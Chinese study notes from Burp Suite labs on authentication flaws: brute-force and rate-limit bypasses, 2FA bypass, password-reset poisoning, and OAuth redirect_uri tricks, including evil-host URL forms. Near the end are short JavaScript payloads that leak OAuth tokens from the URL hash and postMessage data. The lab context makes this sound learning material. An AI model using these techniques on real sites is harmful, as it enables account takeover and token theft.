记录在做 burp lab 时学会的知识点。

# Authentication vulnerabilities

# Vulnerabilities in password-based login

# Brute-force attacks

# Username enumeration

1.Status codes
2.Error messages
3.Response times

1
2

X-Forwarded-For 是用来识别通过 HTTP 代理或负载均衡方式连接到 Web 服务器的客户端最原始的 IP 地址的 HTTP 请求头字段。,用它伪装 IP 地址来绕过对暴力破解的限制。

# Flawed brute-force protection

常见的暴力破解防护措施有两种:如果一个账号有太多的登录失败尝试,就封锁账号;封掉发起太多失败登录的 ip。
对于锁定 ip,有的后端可能会在一个 ip 地址登陆成功后重置计时器,因此可以通过间歇登录成功账号来重置计时器。

# Account locking

发现一个账号在发起一定次数的错误登陆后会被锁定,找到这个次数,然后以不超过这个次数的频率进行爆破。

# User rate limiting

发现账号密码以如下的 json 表格进行传输。

1
2

{"username":"123","password":"123"}

将表格中的密码部分修改为数组形式,最后效果如下。
1
2
3
4
5
6
7
8

{"username" : "carlos",
"password" : [
"123456",
"password",
"qwerty"
...
]}

发送请求,收到一个 302 的 response,选择讲此 response 在浏览器中显示,并讲 url 复制到浏览器中,成功登录账号。

# HTTP basic authentication

这种授权方式较少通过爆破绕过,可以试下 CSRF

# Vulnerabilities in multi-factor authentication

# Bypassing two-factor authentication

在有的 two-factor authentication 中,有的程序员由于疏忽,在第一次账户登录后就将用户标记为登录状态,而并非在第二次验证通过后才进行此操作,
因此我们可以在第一次账户登陆后,直接由 url 跳转到账户页面,从而绕过第二次验证。

# Flawed two-factor verification logic

在第二次验证时,由于使用 account 来判断进行验证的账号,因此可以先使用自己的账号密码登录,在第二次验证时修改协议中的 account 为目标账号,并对验证进行爆破。

# Brute-forcing 2FA verification codes

有的登录界面会在登陆时刷新验证码次数,所以可以使用 burp 脚本来重复登录 - 验证这一过程,达到爆破的目的。

# Vulnerabilities in other authentication mechanisms

# Keeping users logged in

尝试下能否逆向 cookie 或窃取 cookie。

# Resetting user passwords

  1. 在请求修改密码的包中加入 x-forwarded-host 头指向自己的服务器,然后将账号信息设置为用户的信息,如果用户点击密码重置邮件的链接,其 token 就会转发到我们设置的服务器上去。
  2. 爆破重置密码的包

# OAuth 2.0 authentication vulnerabilities

# Vulnerabilities in the client application

  1. 没有使用 state 绑定导致攻击者可以通过 CSRF 将自己的邮箱绑定别人的账号。

# Vulnerabilities in the OAuth service

  1. 使用 CSRF 获取他人 code,并用得到的 code 进行登录认证。
    有的服务器会使用白名单来筛选 redirect_uri,可以尝试绕过。
    针对黑名单,可以采取以下方法:a. 更换表述,比如用 2130706433, 017700000001, 或 127.1. 替换 127.0.0.1、b. 注册一个自己的域名来指向想要的 ip 地址、c。使用 URL 加密等技术混淆。
    针对白名单匹配,可以采用以下方法:a. 使用 @符号在 hostname 前存放证书,比如 https://expected-host:fakepassword@evil-host、b. 使用 #符号来表示 URL 片段,比如 https://evil-host#expected-host、c. 根据 DNS 命名规则将指定的输入存放在自己控制的 DNS 名中、d. 使用 URL 加密混淆。
    有时还可以利用开放重定向漏洞配合目录穿越漏洞来实现网页跳转。
    有时更改其他标志,比如将 response_mode 改为 fragment 有时也能绕过筛查。
  2. 一段 payload
    1
    2
    3
    4
    5
    6
    7
    <script>
    if (!document.location.hash) {
    window.location = 'URL'
    } else {
    window.location = '/?'+document.location.hash.substr (1)
    }
    </script>

    3.otherWindow.postMessage (message, targetOrigin, [transfer]);
    message 是传递的内容,targetOrigin 是可接收的窗口。
    以下脚本可以接收并传递传出来的信息。
    1
    2
    3
    4
    5
    6

    <script>
    window.addEventListener ('message', function (e) {
    fetch ("/" + encodeURIComponent (e.data.data))
    }, false)
    </script>

    4.HTML injection vulnerabilities
    有的浏览器(比如火狐),在加载一些元素时(比如 < img src="evil-user.net">),会将整个 URL 放在 refer 头里,包括一些我们关心的查询字符串。

# OpenID Connect

考虑到 OpenID 是建立在 OAuth 上,许多前面提到的 OAuth 存在的问题 OpenID 也存在,接下来介绍以下由 OpenID 带来的新问题。
1.Unprotected dynamic client registration